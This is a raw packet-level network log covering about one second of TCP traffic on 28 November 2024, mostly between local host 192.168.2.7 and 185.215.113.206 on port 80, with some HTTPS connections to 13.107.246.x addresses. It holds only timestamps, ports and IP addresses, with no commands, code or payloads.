Nov 28, 2024 11:05:32.059806108 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.059865952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.059899092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.059988022 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.060631037 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.060643911 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.060692072 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.061513901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.061526060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.061964035 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.062417030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.062463045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.062530994 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.063529968 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.063606977 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.063855886 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.063915014 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.064733982 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.064745903 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.064785957 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.064821005 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.065654039 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.065723896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.065726995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.065790892 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.066677094 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.066754103 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.066812038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.066940069 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.067687988 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.067747116 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.068330050 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.068455935 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.068749905 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.068835974 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.068850040 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.068897963 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.070367098 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.070380926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.070439100 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.070475101 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.070811033 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.070875883 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.071054935 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.071178913 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.072187901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.072200060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.072297096 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.072968960 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.072981119 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.073035955 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.074130058 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.074695110 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.074719906 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.074764013 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.075119019 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.075170040 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.076091051 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.076102972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.076139927 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.076167107 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.076184034 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.077122927 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.077167034 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.077194929 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.077255964 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.078207970 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.078246117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.078268051 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.078314066 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.079195023 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.079289913 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.079579115 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.079648018 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.100707054 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.100778103 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.100836039 CET	49845	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.101119995 CET	49845	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.101119995 CET	49845	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.101145029 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.101156950 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.105879068 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.105917931 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.106086969 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.106575012 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.106585979 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.139308929 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.259349108 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.294101000 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.294661999 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.294712067 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.295130014 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.295135975 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.342263937 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:32.342474937 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:32.342483997 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:32.343508959 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:32.343555927 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:32.344655991 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:32.344723940 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:32.344849110 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:32.344856024 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:32.352639914 CET	443	49852	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.353132010 CET	49852	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.353152037 CET	443	49852	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.353668928 CET	49852	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.353673935 CET	443	49852	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.386065960 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:32.386636019 CET	443	49851	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.387280941 CET	49851	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.387377024 CET	443	49851	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.387844086 CET	49851	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.387859106 CET	443	49851	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.408458948 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:32.408860922 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:32.408937931 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:32.409934044 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:32.410007954 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:32.410677910 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:32.410741091 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:32.411062956 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:32.411081076 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:32.465446949 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:32.586080074 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.586097956 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.586168051 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.586282969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.586333990 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.586384058 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.587224960 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.587270021 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.587368965 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.587407112 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.588361025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.588426113 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.588430882 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.588473082 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.589391947 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.589500904 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.589581966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.589634895 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.590509892 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.590523005 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.590572119 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.591520071 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.591582060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.591979980 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.592534065 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.592592001 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.592624903 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.592633009 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.593566895 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.593631983 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.593702078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.593787909 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.594743013 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.594758987 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.594808102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.595626116 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.595710993 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.595721006 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.595798969 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.596719980 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.596790075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.596821070 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.596834898 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.597722054 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.597780943 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.597853899 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.597903967 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.599102974 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.599117994 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.599164963 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.599868059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.599924088 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.599941015 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.599980116 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.600882053 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.601013899 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.601068974 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.601075888 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.602154016 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.602168083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.602211952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.602237940 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.602947950 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.602988005 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.603037119 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.603466034 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.604044914 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.604144096 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.604195118 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.605109930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.605161905 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.605165958 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.605205059 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.606097937 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.606179953 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.606251001 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.606797934 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.607166052 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.607207060 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.607266903 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.608098984 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.608201981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.608339071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.608350039 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.608388901 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.609347105 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.609483957 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.609513998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.609527111 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.610456944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.610532045 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.610542059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.610703945 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.611390114 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.611495972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.611552000 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.612376928 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.612481117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.612545967 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.613414049 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.613523960 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.613589048 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.614598989 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.614666939 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.614682913 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.614793062 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.615690947 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.615827084 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.615881920 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.616708040 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.616841078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.616900921 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.617697001 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.617743969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.617809057 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.619015932 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.619083881 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.619110107 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.619198084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.620035887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.620141983 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.620208025 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.621196985 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.621212006 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.621269941 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.622311115 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.622387886 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.622390985 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.622436047 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.623044968 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.623161077 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.623214960 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.624162912 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.624224901 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.624248981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.625308037 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.625368118 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.625405073 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.626081944 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.626523018 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.626559973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.626581907 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.626612902 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.627486944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.627506971 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.627548933 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.627571106 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.628460884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.628629923 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.628688097 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.629621983 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.629687071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.629703999 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.629812002 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.630727053 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.630852938 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.630908966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.631788015 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.631889105 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.631946087 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.632906914 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.633038044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.633099079 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.633928061 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.633985043 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.634002924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.634041071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.634582043 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.634656906 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.634690046 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.634789944 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.635443926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.635499954 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.635912895 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.635974884 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.636502981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.636553049 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.636600018 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.636650085 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.637551069 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.637641907 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.637661934 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.637758017 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.638711929 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.638725996 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.638777018 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.639627934 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.639678001 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.639734983 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.640095949 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.640670061 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.640733004 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.640765905 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.640826941 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.641793013 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.641860008 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.729120970 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.729193926 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.729252100 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.732971907 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.768289089 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.768289089 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.768340111 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.768352985 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.776331902 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.776375055 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.777066946 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:32.777071953 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.787678957 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.787724972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.787770987 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.788055897 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.788084984 CET	443	49852	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.788131952 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:32.788141966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:32.788165092 CET	443	49852	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:32.788176060 CET	49782	80	192.168.2.7	185.215.113.206
